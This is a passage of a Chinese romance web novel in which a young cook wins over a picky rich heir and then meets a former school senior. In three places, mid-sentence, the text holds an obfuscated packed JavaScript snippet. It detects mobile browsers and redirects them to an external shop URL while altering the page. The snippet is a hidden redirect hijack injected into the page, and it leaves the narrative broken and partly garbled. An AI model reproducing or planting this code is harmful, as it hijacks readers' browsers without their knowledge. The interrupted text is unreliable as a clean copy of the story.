他的手臂悬停在她腰侧,清冷的气息从背后笼罩下来,压迫感很强。 姜弥原本就僵硬的肢体,更加不敢动了。 “小心点。” 他说话时,温热的气息拂过她的耳尖,说不出的酥痒。 一瞬间,像有电流自那处窜过,顺着神经直窜大脑,继而迅速向四肢蔓延。 姜弥猛地打了个寒颤,整个人向旁边挪了半步。 “对、对不起……”她转身过来道歉。 后腰不慎撞在大理石台面边缘,疼得她抽冷气,眉头蹙成一团。 纪淮野动作顿住了。 大概没料到她会如此慌张,他静静地看了她两秒,才把盐罐轻轻搁在台面上。 “你怕我?”他上半身朝她的方向倾了倾,问出与昨晚相同的问题。 姜弥睫毛轻颤,声音轻得像蚊子哼:“……没有。” 这话不假,但落到纪淮野耳朵里,想必只会坐实她的心虚。 刚才那一躲,任谁看了都会觉得太过刻意。 她不敢看他的反应,把头埋得更低。 厨房里一时寂静无声,只有汤锅还在咕噜咕噜地滚着泡泡。 她悄悄吸了一口气,试着稳住呼吸,才低声说: “厨房油烟重,少爷去餐厅等一会儿吧,面很快就好。” 说完,仍不敢抬头看他。 只匆匆转过身去,用微微发颤的手揭开了汤锅的盖子。 面条已经煮得差不多,她舀起半勺汤尝了尝咸淡,又有些忙乱地去够那只险些摔碎的盐罐,撒了少许进去。 纪淮野眉心微微动了动,但没再追问下去。 他转身走回中岛台边,抱臂等着。 接下来的几分钟,姜弥强迫自己集中精神,近乎麻木地完成了调味、盛碗。 当她把面端到他面前时,指尖仍在不受控制地抖。 —— 纪淮野拉开椅子坐下,执起筷子。 他吃得不快,也没什么声响。 约莫十分钟过去,那碗番茄鸡蛋面见了底,连汤都没剩多少。 空碗被他朝前轻轻一推。 他抽了张纸巾,拭了拭嘴角。 然后才抬眼,目光掠过她紧绞着白色T恤边的手指。 “晚上,”他开口,声音因为刚吃完热食而带点松散的哑,“我想吃东安子鸡。” 姜弥绞着衣摆的指尖一顿。 东安子鸡。 那是她妈妈的拿手菜,也是湘菜里最难模仿精髓的一道。 鸡要选用未下蛋的嫩母鸡,取肉最嫩的部位,切得匀薄如纸。 烹制时讲究“一煮二切三炒四煨”,工序繁琐,火候刁钻,调味差一点都不是那个味道。 “做不了?”纪淮野挑了挑眉,那点松散褪去,眼底又覆上居高临下的冷。 “……能。” 姜弥听见自己艰涩的回答。 “顺便再做一个荔浦芋头扣肉。” 他站起身,云淡风轻地点了下一道菜。 姜弥瞳孔骤然收紧。 荔浦芋头扣肉? 从备料、炸制到蒸透入味上桌,至少要六个小时的功夫菜,还是桂北地区的非遗美食。 他偏偏点了这两道菜。 是在试探她的厨艺深浅,还是因为昨晚的事存心刁难,逼她知难而退、自己离开? 走到门口,少年脚步一顿,侧过半边脸。 灯光从他鼻梁上一线切过,投下利落的阴影。 半张脸浸在光里,半张脸陷在暗处。 “还有,”他声音不高,“在纪家做事,得清楚自己的身份和位置。” 是委婉的提醒,更是不动声色的警告。 言外之意不外乎是:不要越距,也不要投机取巧,肖想些不切实际的东西。 “哦,对了,”他像是忽然想起什么,语气随意,“昨天那件事——” 他故意拖长了尾音。 姜弥心头一沉。 终于要……摊牌了吗? 看着她瞬间煞白的脸,纪淮野勾勾唇角,才慢悠悠地吐出后半句: “看你今晚的表现。” 说罢,径直离开。 —— 姜弥僵在原地。 过了许久,才一点点找回呼吸。 她缓缓松开不知不觉中攥紧的衣摆,掌心一片湿冷。 表现? 是指菜的味道,还是……别的什么? 她闭上眼,深吸一口气。 再睁开时,眼底那点慌乱被强行压了下去。 别慌。 他没有将昨夜的事告诉林薇,就说明一切还有转圜的余地。 眼下最紧要的,是做好这两道菜。 —— 两道都是对原料要求极为苛刻的菜。 在厨房的备料区仔细拣选过后,姜弥仍觉得不满意。 她找到王妈,简单说明缘由,请求带她去一趟附近最好的生鲜市场。 少爷嘴刁这事儿,怕是整个纪家上下都知道。 王妈也没多问,只投来一个略带同情的眼神,便叫来司机,陪她一同出门。 —— 来纪家前,姜弥妈妈千叮万嘱过不少纪家的规矩,也跟她透过些底。 这栋别墅根本不算纪家的主宅,纯粹是因为离少爷学校近,临时落脚的“学区房”而已。 平时别墅里也就夫人和少爷两个人住。纪家生意做得大,遍布海外。纪先生常年行踪不定,一年到头也难得回来几趟。 家中的佣人除了管家陈叔和王妈,另有两位司机、两位洒扫阿姨,以及中西餐厨师各一名。 由于纪淮野口味极刁,厨师们大多只负责准备其他佣人的餐食,偶尔为夫人做些点心。 少爷与太太的日常三餐,在此之前基本都是由姜弥的妈妈许晴一手包办。 起先听妈妈提起雇主家的别墅如何气派时,姜弥心里还不以为然,琢磨着: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026086|194410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大概也就跟岚山那些有钱人在郊区盖的独栋差不多吧? 燕都寸土寸金,能有多排场。 直到昨天真站在这院子里,她才觉着自己眼皮子是真浅了。 以前电视剧里那些“豪门”,跟这儿比简直像小孩过家家。 姜弥倒不仇富,就是忍不住在心里暗暗咂舌: 到底是天子脚下。 人家大少爷就算“委屈”自己临时住住的地方,也是前院有景、后院有池,连花园草坪都做了造型。 更别说什么室内健身房、露天篮球场,该有的一样没少。 这哪叫“落脚处”啊。 这根本是把别人垫几个高枕头都做不来的梦,过成了睁眼就有的寻常。 —— 燕都的生鲜市场大得惊人,汇集了天南海北的货品,琳琅满目。 姜弥沉下心来,仔细挑了粉质饱满的荔浦芋头,又在生禽区走了几圈,才寻到真正来自东安县、一年内生未曾下过蛋的嫩母鸡。 回到别墅时,已是下午一点半。 楼上隐约传来清越的古筝声。 那是纪太太在给学生上课。 姜弥妈妈交代过,纪太太是燕都颇有名望的声乐与器乐老师,平日登门求教的学生不少。 丝竹入耳,姜弥脚步未停,拎着沉甸甸的食材径直走进厨房。 荔浦芋头扣肉耗时最长,从现在立刻动手,时间也仅仅勉强够用。 整个下午,姜弥几乎就没离开过厨房。 —— 城西,私人台球室里灯光低柔,背景音乐隐隐流淌。 纪淮野俯身瞄准最后一颗黑球。球杆推出,“嗒”一声轻响,黑球完美落袋。 “漂亮!”旁边有人称赞。 他直起身,将球杆随手递给侍应生,瞥了眼墙上的复古挂钟——五点五十。 “走了。”他捞起搭在一旁的黑色外套。 “这就走?”正在摆球的周屿抬起头,“才几点?晚上‘迷境’有局,秦筝也来。” 听到这个名字,旁边几个男生交换了个心照不宣的眼神。 纪淮野动作没停,将外套搭在臂弯。 “有事。”声音平淡,听不出情绪。 “什么事比秦大小姐还重要?”另一个朋友笑着打趣,“纪少该不会是家里藏了人吧?” 这句玩笑引得几人低笑。 纪淮野没答,只掀起眼看了说话那人一眼。 目光没什么温度,那人下意识噤了声,周围的笑声也收敛下去 “饿了,”他这才开口,“回家吃饭。” 语气寻常得像在陈述天气。 “哈?”周屿愣住,“许姨不是回老家休养了吗?你家那俩米其林大厨……难不成被许姨隔空点拨开光了?还是新来的阿姨真给你变出了什么山珍海味?” “没那么夸张。”纪淮野已经走到门口,侧影在光影里挺拔而疏淡。 “只是家常菜而已。” 门在他身后合拢,隔绝一室浮华与喧嚣。 留下的几人面面相觑。 半晌,周屿摸着下巴,若有所思: “家常菜?淮野这葫芦里卖的什么药……难道新来的阿姨,手艺比许姨还厉害?” “什么阿姨?”旁边有人插话。 周屿瞥了眼紧闭的门,压低嗓音,“听我妈说,这一个月里,纪太太前前后后给淮野找了不下二十个厨子。但淮野那张嘴太挑,来试工的不是被他三两句话气走,就是听完要求后被吓跑,最长的也没撑过三天。” “现在燕都家政圈都快把他拉黑了。纪太太为这事头疼得不行,再这么下去,我真担心淮野被来应聘的勇士毒死……” 对话声被门板阻断。 —— 暮色漫过燕都的天空。 纪淮野坐进等候的车里,窗外的流云略过他没什么表情的侧脸。 他看了一眼腕表。 六点整。 到家,差不多刚刚好。 5. 第 5 章 二楼的琴房里,余韵袅袅。 “stop!” 林薇手里拿着曲谱,对着古筝前的女生轻轻抬手。 “今天就到这里,下课吧。” 学生忐忑地起身,从包里取出一个信封。 “老师,学费……” 林薇指尖轻抵着太阳穴,略显疲倦: “放钢琴上。” 女生放好信封,悄然退了出去。 琴房重归宁静。 林薇揉揉额角,抬起眼。 透过明亮的玻璃窗,看见楼下的院子里,黑色轿车正缓缓驶入,停在门廊前。 车门打开。 个高腿长的少年迈步下车。 林薇的目光追随着他。 无意识地在琴弦上一划,带出一声轻吟。 “唉……” 她低声自语。 “总算是,有件不让人头疼的事了。” “太太。” 王妈的声音在门边响起。 林薇转过视线。 “姜姑娘的饭做好了。”王妈脸上带着笑意,“少爷也回来了,正等您呢。” 林薇轻轻勾起唇角。 许姐家那孩子…… 今天究竟做了什么好吃的呢? 竟能应付得了那刁钻至极的味蕾,还在这个时间点,把他稳稳当当地勾了回来。 “知道了。” 她放下曲谱,优雅地站起身。 —— 七点差一刻。 两道主菜终于完成。 姜弥将它们仔细装盘,端至餐厅。 纪淮野已经坐在那里,面前只有一副碗筷。 他靠向椅背,姿态是一贯的疏冷。 林薇下楼走来,目光掠过桌面时,眉头不着痕迹地蹙了蹙—— 东安子鸡。 荔浦芋头扣肉。 一道酸辣冲撞,一道厚脂浓油。 都是极费工夫、极考手艺的“硬菜”。 这样的搭配,不仅吃着负担重。 更像是纪淮野对她这位二妈和厨师的蓄意为难。 林薇额角隐隐发胀。 怕是又要为寻厨子的事头疼。 姜弥放下菜后,又转身回了厨房。 再出来时,手里端着三样新菜: 清蒸东星斑、蒜蓉西兰花,还有一盅清澈的蔬菜汤。 “太太,”她轻声开口,转向林薇。 “少爷点的菜口味偏重,怕您吃着不惯,我自作主张添了道清淡的鱼和时蔬。” 林薇微微一怔。 随即,眼底漾开笑意。 “好,你有心了。”她温声应道,目光里多了几分赞许。 这丫头,不只是手艺扎实,心思也细。 实在不行……她就自己想法子把她留下吧。 姜弥又转向纪淮野,声音低了些许: “少爷,这是您点的东安子鸡,和荔浦芋头扣肉。” “请慢用。” 纪淮野的目光落在盘上,忽然嗤笑: “摆盘倒是一模一样。” 他拿起筷子,用筷尖拨动了一下上面覆盖的姜丝与辣椒。 底下肌理分明的鸡肉露出来。 动作不疾不徐,像是古代皇帝餐前试毒。 半晌,他才夹起一块鸡腿肉,放入口中。 动作顿住了。 他这一顿,姜弥便紧张地攥紧了围裙边。 几秒后,他抬眼看她: “这真是你做的?” “是。” “鸡是现杀的?” 声音听不出起伏。 “……是。” 纪淮野看向一旁的王妈。 王妈连忙点头:“是姜姑娘做的。就这鸡和芋头,还是我陪她特意去生鲜市场挑的。回来后,她一下午都没出过厨房。” 他问这些是什么意思? 姜弥屏住呼吸,目光不由自主地落在他脸上。 但纪淮野没再说话。 低垂眼帘,睫毛又长又密。 尝完东安子鸡,又去夹荔浦芋头扣肉。 肥肉部分晶莹剔透,瘦肉酥烂,与绵软的芋头一同入口。 他吃得很慢。 喉结随着吞咽轻轻滚动。 脸上依旧没有什么表情。 一块。 两块。 速度不算快,但筷箸起落间,那道分量不小的东安子鸡,肉眼可见地消减下去。 —— 林薇用得差不多,放下筷子,餐巾轻拭嘴角,这才看向纪淮野。 “味道怎么样?可还合你口味?” “比起许姨,差得远。” 他说着,把碗递给王妈。 “添饭。” 姜弥:??? 王妈与太太对视一眼,彼此露出心照不宣的笑。 餐厅里再度安静下来。 姜弥侧立一旁,看着逐渐空下去的盘碟,稍微松了口气。 但一颗心仍悬着在半空。 若在岚山,她对自己的厨艺是百分百自信。 可这是燕都。 眼前这人尝遍珍馐,又吃惯了她妈妈调教多年的味道。 她做菜的经验不如妈妈,实在没有胜算。 良久。 纪淮野放下筷子,拿起餐巾,慢条斯理地擦了擦嘴角。 “还行。” 他给出评价,语气平淡。 姜弥的目光落在两个空掉的餐盘上,又移到少年面不改色的脸上。 一时有些恍惚。 “……???” 算了,她也不指望能从那张嘴里听到什么好话。 昨天是“能吃”,今天是“还行”。 姜弥暗自舒了半口气,悬着的心放下一些。 知道这第一关,总算是低分飘过了。 纪淮野起身离席。 走到门口时,脚步微顿,丢下一句: “以后就你做。” 说完便径直上了楼。 留下三人目瞪口呆。 王妈最先反应过来,脸上漾开激动又兴奋的笑: “太太,您您您听到了吗?” 她看起来比姜弥还要激动,看向姜弥的眼神满是欣慰和感慨: “哎哟,这可真是……姜姑娘,少爷这可是认可你了!” 林薇也回过神,朝姜弥温声道: “辛苦了,收拾完早些休息。” 她起身离开,经过姜弥身侧时,轻轻拍了拍她的肩膀。 像是安抚,也像是认可。 —— 厨房里。 王妈利落地帮着收拾碗筷,压低了声音笑: “少爷嘴挑得厉害,许姐离开这一个月,太太为让他好好吃饭,差点没把燕都家政圈给得罪遍。” 姜弥低头擦拭着台面。 无声地弯了弯唇角。 难怪林薇会开出那么优厚的条件,还承诺帮她张罗转学的事。 原来是真没辙了。 —— 回到佣人房,姜弥轻轻关上门,背抵着门板,缓缓舒出一口气。 这一天,像打了一场仗。 紧绷的神经松懈下来,疲惫便如潮水般漫上四肢。 桌上的手机嗡嗡震动。 她走过去,划开屏幕。 是岚山的好友谈淑哲发来的消息: 【谈淑哲:弥弥,你都请假快一星期了,阿姨没事吧?要不要我帮忙?】 来燕都的事,她没有告诉任何人。 姜弥向来信奉“事以密成”。 在一切尘埃落定前,多一个人知道就多一分变数。倘若她在纪家试工不通过,或是转学中途出现纰漏,她总还能回到岚山,继续准备明年的高考。 没有十足的把握,就要为自己留足退路。 指尖悬在屏幕上方,她斟酌片刻,才慢慢打字回复: 【姜弥:没事,妈妈就是需要静养一段时间。所以我暂时请了几天假,别担心。】 发送出去,她将手机扣在桌面上。 房间里骤然安静下来。 ——“以后就你做。” 那句话又在耳边响了一下。 虽说纪淮野开了口,可谁能保证明早醒来他不会变卦? 想起昨晚那场冒犯的意外,姜弥心头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026087|194410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那点刚松下的弦又微微绷紧。 不能被动地等。 她想起妈妈提过一嘴:纪淮野嗜甜,尤其深夜看书或写作业时,手边常备着点心。 念头一起,姜弥起身出门,再次回到了厨房。 她取出鸡蛋、牛奶和细砂糖。 焦糖在锅里融化出琥珀色,倒进陶瓷模具的底端。蛋液和牛奶搅匀后,过筛两遍,注进铺了焦糖的瓷碗里。 这是外婆以前常给她做的小点心,简单,省时,也最能抚慰人心。 烤箱发出嗡鸣。 接着是“叮”的一声轻响。 布丁出炉了。 表面光滑如绸,轻轻一晃,便泛起初凝乳脂般的颤巍。 她在碗口扣上一只小碟,手腕轻翻,瓷碗倒扣过来,焦糖汁沿着布丁边缘缓缓流下,裹住那一团鹅黄的柔软。 姜弥又热了小半杯牛奶放在木托盘上,旁边的布丁“Duang~Duang”的,像个腼腆的胖云朵。 手搭在料理台边缘,她指尖微微收拢。 这算讨好么? 或许。 但在这座宅子里,想要站稳脚跟,若想拿到燕都的那张高考准考证,她需要的远不止是“过关”,而是成为某种“不可或缺”。 目光扫过那多出来的布丁,正思索着该如何处理时,身后传来脚步声。 “姜姑娘?” 王妈的声音从门口传来,带着些许讶异,“这么晚了,还没歇着?” 姜弥转过身,眼睛一亮:“王妈。正好,我做了焦糖布丁,您帮我尝尝味道?” 王妈走过来,就着姜弥递来的小勺尝了一口。 “哎哟,真不错。”王妈眼睛弯起来,“不是我夸你,比太太常订的那家法式甜品店的还好。” 姜弥心下稍安。 王妈将勺子放下,看着姜弥,语气温和中带着鼓励: “难为你肯花心思,少爷夜里看书时,就爱用点甜的。他肯定喜欢。” 姜弥微微一怔。 王妈何等通透,她还什么都没说,对方就已明白了这份点心是为谁准备的。 “去吧,少爷房里灯还亮着,这个点他还没休息。”王妈了然一笑,拍了拍她的手。 “谢谢王妈。” 姜弥端起托盘。 走到厨房门口时,她停下脚步,指尖不自觉地蜷了蜷。 她深深吸了一口气,像是下定了某种决心。 —— 三楼书房。 纪淮野靠在椅背上,面前摊开的竞赛题集只写了几行。耳机里流淌着低沉的古典乐,思绪也随着旋律飘远。 台灯的光线在他指尖聚拢又散开,在纸面投下暖色的光晕。 笔尖悬在空白处,迟迟未落。 今晚那顿饭的味道,仿佛还残留在舌尖。那是他许久未曾尝到的,令他的胃和精神都格外畅快的滋味。 东安子鸡和荔浦芋头扣肉,这两道菜都是许姨的拿手菜,因制作复杂,他平时极少点。 过去这一个月里,来试工的那些人光是听到这两道菜名,多半望而生畏。即便敢做,成品也往往相去甚远,形似神不似,难以下咽。 起初,他以为姜弥也不过是事先打听了许姨的习惯,连摆盘的样式都照着学了个十成十。毕竟之前也不是没人这么干过,心思全用在如何讨好他上,真功夫却没见几分。 可菜入口的瞬间,他察觉到了不同。 不止是模仿。 对火候的掌控、调味,甚至细微叠加的口感层次,虽与许姨的手艺还有一定距离,但也勉强能合格。 她和许姨,究竟是什么关系? 是许姨私下收的徒弟?可他从未听许姨提起过。 若是真有徒弟,许姨回家养伤前,理应推荐过来才是。毕竟纪家的待遇是远高于市场水准。 难不成……是怕被取代? 不。 纪淮野很快否定了这个念头。 许姨不是那样的人。 “叩、叩——” 敲门声就在这时响起。 两下,克制而有节奏。 纪淮野摘下一只耳机: “进。” 6. 第 6 章 门被推开一条缝,王妈端着托盘走进来,脸上带着惯常的温和笑意。 “少爷,姜姑娘做了点夜宵,让我送上来。说是读书费神,让您尝尝看,换换口味。” 木质托盘上,一碗焦糖布丁,一杯温牛奶。 纪淮野的目光在那碗布丁上停留片刻。暖黄的灯光下,布丁“Duang~Duang”地颤,焦糖汁淋满了边缘。 “她做的?” “是,刚出炉的。”王妈轻声补充,“姜姑娘忙了一整天,临睡前还惦记着您可能会饿。” “惦记我?” 纪淮野勾起唇角,“那她怎么不自己送上来?” “姜姑娘本来是要亲自送上来的,”王妈笑着解释,语气里带着长辈的体贴,“只是夜深了,她一个小姑娘来您房间,总归……不太方便。” “呵。” 纪淮野轻嗤一声。 不方便。 昨晚扑过来紧抱着他不肯松手的时候,倒没见她想起“不方便”这三个字。 王妈站在一旁,悄悄打量着少爷的神色,一时摸不准他的心思。怎么自己好心帮忙送上来,他反倒不高兴了? 思来想去,王妈只归结于少爷青春期到了。 ——叛逆。 “放着吧。”少爷终于发话。 王妈松了口气,将托盘轻放在桌上,又忍不住多嘴:“姜姑娘其实……” “王妈。”纪淮野打断她,语气不重,却不容置疑,“很晚了,您去休息吧。” 说罢,他重新戴上耳机,视线落回摊开的题集。 王妈见状,不再多言,悄声退了出去。 门被轻轻带上。 —— 笔尖在纸上点了一下,留下一个小小的墨点。 纪淮野抬手摘下耳机,音乐声戛然而止。 窗玻璃映出他模糊的侧影,和那碟飘着幽香的布丁。 他拿起银勺,舀起一角。 布丁滑入唇齿,细腻柔滑,焦糖的苦香平衡了奶味的甜腻。 口感比他预想的要好。 勺柄搁在瓷碗边缘,发出清脆的一声。 纪淮野靠回椅背,目光投向窗外沉沉的夜色。 一片昏暗朦胧中,眼前无端浮现出那双总是低垂的眼睛。 黑而亮,像浸在冷水里的黑曜石。 每每与他对视,便慌慌张张地敛下睫毛,遮住所有情绪。 仿佛来为他做饭,是受了天大的委屈。但又闷在心里不肯说。 看起来一副很可怜、很好欺负的样子,实则一双眼里连眼白都藏着精明。 纪淮野无声地扯了下嘴角。 真让人好奇,她到底在打什么算盘,忍耐的底线又在哪里。 —— 第二天清晨,六点。 姜弥准时出现在厨房。 根据妈妈的交代,纪淮野上学日的早餐相对固定:一杯鲜榨果汁,一片全麦面包,一颗太阳蛋,两片煎培根,外加一份时令水果。 七点整,楼梯传来脚步声。 纪淮野下来了。 他换了一身燕都一中的夏季校服。白衬衫,黑色长裤,衬衫下摆收进裤腰,衬得肩线平直,腿型修长。 他脸上没什么表情,带着早起的些微困倦和冷淡,眼睑微垂,径直走向餐厅。 姜弥将早餐端过去,摆在他常坐的位置前,低声道:“少爷,请用早餐。” 纪淮野拉开椅子,眼皮都没抬,“嗯”了一声。 他坐下,拿起橙汁喝了一口,然后开始慢条斯理地吃煎蛋和培根,动作一如既往地优雅。 全程没有看姜弥一眼,仿佛她只是餐厅里一个会移动的摆件。 姜弥悄然退到一边。 心里开始犯嘀咕。 怎么又是这副冷冰冰的样子?昨晚的布丁……白做了?说好让她留下来的事,该不会睡一觉就忘了吧? 就在她以为早餐会在这片沉默中结束时,纪淮野吃完了最后一块水果,用餐巾擦了擦手。 然后抬眼,目光正正地落在她脸上。 那眼神依旧没什么温度。 “午餐,”他开口,嗓音低哑。 “什么?” “午餐做成便当,我带走。” 姜弥一怔。 和林薇沟通的是:工作日的职责范围不包括准备外带午餐和晚餐。 纪淮野似乎看穿了她的疑惑,嘴角轻扯了一下。比起笑,更像是看好戏的戏谑。 “怎么,做不了?”他问,尾音上扬,挑衅意味十足,“许姨以前,常做。” 屁。 妈妈做没做过,她还能不清楚? 可谁让眼前这位,是手上握着她去留决定权的“金主”呢。 姜弥指尖在围裙下轻轻蜷起。 她平稳呼吸,抬起眼,对上那目光后又迅速垂下,声音轻柔:“便当带走容易影响口感。如果您需要,我中午做好了给您送到学校。” 空气安静了两秒。 纪淮野看着她。 光底下,她垂下的睫毛像两片沾了晨露的羽,微微颤着。这副温顺的样子,像只被雨淋湿后轻轻抖着毛的小猫。 看起来真的很好欺负,也很能忍耐。 仿佛他说什么,她都会低眉顺眼地应下。 也正是因为这样,才让他愈发好奇,她忍辱负重背后所图的东西。 “行。”他收回目光,站起身,拎起一旁挂在椅背上的黑色书包,“中午十二点之前。” 他走到门口,脚步微顿,侧过半张脸,补了一句: “没送到的话,你明天就不用出现在这个家里了。” 说完,他径直走了出去。 玄关处传来关门声。 别墅重新陷入宁静。 —— 姜弥站在原地,直到引擎声彻底远去,才缓缓吐出一口气。 她走到窗边,看着那辆黑色的车驶出庭院。 然后,她才后知后觉地想起来,刚才忘了问具体的班级和送餐地点。 算了。 晚点问王妈,或是太太林薇吧。 转身回到厨房,她开始快速清理料理台。 收拾干净后,她看了一眼时间:刚过七点半。 距离准备午餐还有一段时间,但她没让自己闲着。 回到房间,她取出妈妈交给她的记录本。 翻开,里面详细记录着纪淮野的口味偏好、饮食禁忌,以及一些他偶尔会点的、工序复杂的私房菜谱。 姜弥妈妈是个热爱美食、做事极其认真的人。也正因为如此,纪淮野的味蕾才被养得如此挑剔。 翻看完,她合上笔记本,抽出一张草稿纸,拿起笔开始构思午餐便当的菜单。 不能像昨晚那样隆重费时,要方便携带,冷了也好吃,还要符合他的口味。 考虑到他喜欢苦甜平衡的味道…… 笔尖在纸上轻轻划过。 ——照烧鸡腿饭? 不行,酱汁容易腻,也容易弄脏。 ——那……日式肥牛饭?搭配溏心蛋和焯水的西蓝花? 似乎可以。 咸甜口的肥牛,汤汁可以单独装,吃的时候再淋上去。 溏心蛋加上清爽的蔬菜,荤素搭配得当。 她又在旁边写下几个备选:玉子烧,凉拌菠菜,味噌汤(用保温杯)。 思路清晰了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026088|194410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 时间也差不多了。 姜弥拿着单子,快步走向厨房。 路过客厅时,王妈正拿着无线吸尘器,看见她,脸上立刻浮起笑容。 “姜姑娘,正想找你呢。”王妈压低声音,带着点促狭的笑意,“太太早上出门前特意交代了,说少爷今天多半会为难你午饭的事。你要是不想做,就不用理会;要是做了,就让小刘开车送你去学校。” 姜弥眸色一顿。 到底是一家人。 姜还是老的辣,林薇连纪淮野的秉性都摸得一清二楚。 王妈顿了顿,笑意更深:“太太还说,一中那边需要的转学材料,她已经让人先送过去了。你若是去了,不妨提前逛逛,就当提前熟悉环境。” 听到转学材料已经送到学校,姜弥的心跳不由快了几拍。 接下来,就是参加转学考试,入学,然后……以燕都应考生的身份参加高考。 想到这儿,她忽然觉得—— 今天给那位大少爷的便当里,或许可以顺便加个鸡腿。 —— 车子在校门口做完登记,缓缓驶入燕都一中。 姜弥坐在后座,隔着车窗望出去。 只一眼,便真切体会到什么叫“小巫见大巫”。 在岚山,姜弥上的是市里引以为傲的重点高中。但在此刻铺陈开来的景象前,瞬时失了颜色。 道路开阔洁净,两侧是设计考究的路牌与参天古木。 驶过百米林荫,视野豁然开朗。 映着云影的玻璃金字塔、微缩的悉尼歌剧院,以及足以举办国际赛事的草坪,大片中央草坪如绿毯般铺展。 砖红与米白相间的教学楼,映着蓝天白云的巨大玻璃幕墙,各类现代化的场馆设施……看得姜弥眼花缭乱。 穿着偶像剧里才有的制服的学生们三两成群,步履轻快。 他们的交谈声与笑声,带着一种独属于“老钱”圈的松弛与从容。 这就是她在招生宣传片里见过的、遥不可及的燕都一中。 也是纪淮野……寻常呼吸的日常。 “姜小姐,高二的教学楼就在湖边那栋,叫‘致远楼’。”司机小刘出声提醒,“现在离午休还有一阵,您看是先去楼下等,还是……” 姜弥收回目光。 “我知道了,刘哥。麻烦您在这儿稍等,我把东西送给少爷就回来。” “不着急。”小刘说,“太太吩咐过,您可以在校园里逛一逛。” 姜弥想了想,让司机一直等着也不合适,便说:“好,那您先去忙,晚点我自己坐公交回去就行。” “没事,您回来前给我打个电话,我来接。”小刘递来一张名片,上面印着名字和联系方式。 “谢谢刘哥。”姜弥接过,道谢后便提着便当袋下了车。 —— 六月的天,热风迎面。 她撑起遮阳伞,朝着教学楼的方向走去。 下课铃响起之前,姜弥点开王妈给她的那个号码,发去一条短信: 「少爷,我来送午餐,在教学楼前的松树下等您。」 短信发出去。 姜弥将手机握在掌心,站在松树的荫凉里。热风拂过树梢,沙沙作响。 她以为纪淮野看到短信后很快就会来。 她甚至已经想好了,等他取走便当,自己就可以先去校园里转上一圈,看看那座玻璃金字塔。 然而。 五分钟过去。 十分钟过去…… 松树下始终只有她一个人,和树上的知鸟叫。 就在她犹豫着要不要打个电话时,一道温润的男声从她身后传来: “……姜弥?” 7. 第 7 章 姜弥闻声回头。 午后的阳光穿透松针,在来人身上投下晃动的光斑,整张脸逆在光晕里。 她眯了眯眼。 看清对方时,呼吸微微一滞。 裴晔。 岚山一中的学生会主席、荣誉榜的常客、师长口中“别人家的孩子”。 高三第二学期刚开学,他转学到燕都一中。若是换了旁人,定会落人口舌,说是为了上燕大走捷径。 但裴晔不同。 他早在高一那年就拿下CMO金牌,入选国家集训队,直接保送了燕大数院。 可他怎么会出现在这里? “裴学长?” 姜弥下意识站直身子,将保温袋往身后藏了藏。 在昔日仰望的学长面前,提着装有便当的保温袋等人的处境,让她生出几分窘迫。 裴晔穿着一件藏蓝色宽松廓形衬衫,质料考究,垂坠感十足,下身搭配浅灰色高腰阔腿西裤。 随性松弛,又透出几分斯文的少年气。 “真的是你。我还以为看错了。” 他清俊的脸上带着温和笑意,走近几步。 目光在她脸上停留片刻,又自然地掠过她手中的东西,“你这是……?” “我来给……”姜弥顿了一下,含糊道,“给人送点东西。” 裴晔的视线在她手中的保温袋上短暂停留,没有追问,笑意未减:“太巧了。我今天正好回一中,给学弟学妹们做个分享讲座。” 他看着她,语气温和:“你是来燕都上学了?还是……” “我……”姜弥语塞,不知该如何解释自己的现状。 裴晔似乎看出了她的局促,体贴地转开话题: “对了,许婆婆近来身体怎么样?她老人家做的红烧肉,我到现在还很怀念。” 提到外婆,姜弥的紧张一下消去不少。 她回答说:“外婆身体硬朗,前些天还下地干活呢。谢谢学长关心。” “那就好。” 裴晔点点头,随即像想起什么,取出手机。 “要加个微信吗?我在燕大数院,如果以后学习上有什么需要,或者想来燕大看看,随时可以联系我。” 姜弥眨了眨眼,“……好啊,谢谢学长。” 她拿出手机。 “客气什么。”裴晔笑了笑。 添加完好友,裴晔的目光不经意投向教学楼方向,又收了回来。 “你等的人,还没来?” “嗯,可能……有事耽搁了。”姜弥含糊道,抿了抿唇。 已经超过十分钟了。 纪淮野是没看到短信,还是故意晾着她? 裴晔看了看腕表,沉吟道: “我这边讲座刚结束。如果你不介意,我陪你等一会儿?正好,也有些关于岚山母校的事想问问你。” 他的提议温和有礼,让人难以拒绝。 尤其对姜弥而言,在这陌生的环境里,遇到一个熟悉的人,有种难以言喻的亲切感。 “会不会耽误学长时间?” “不会。”裴晔站到她身侧稍后的位置,保持着社交距离。 —— 松树下,午后的风带着草木气息。 两人有一搭没一搭地聊着。 裴晔说话不疾不徐,声音清润。多是询问岚山母校、老师们以及学生会的情况,偶尔谈及燕大有趣的见闻。 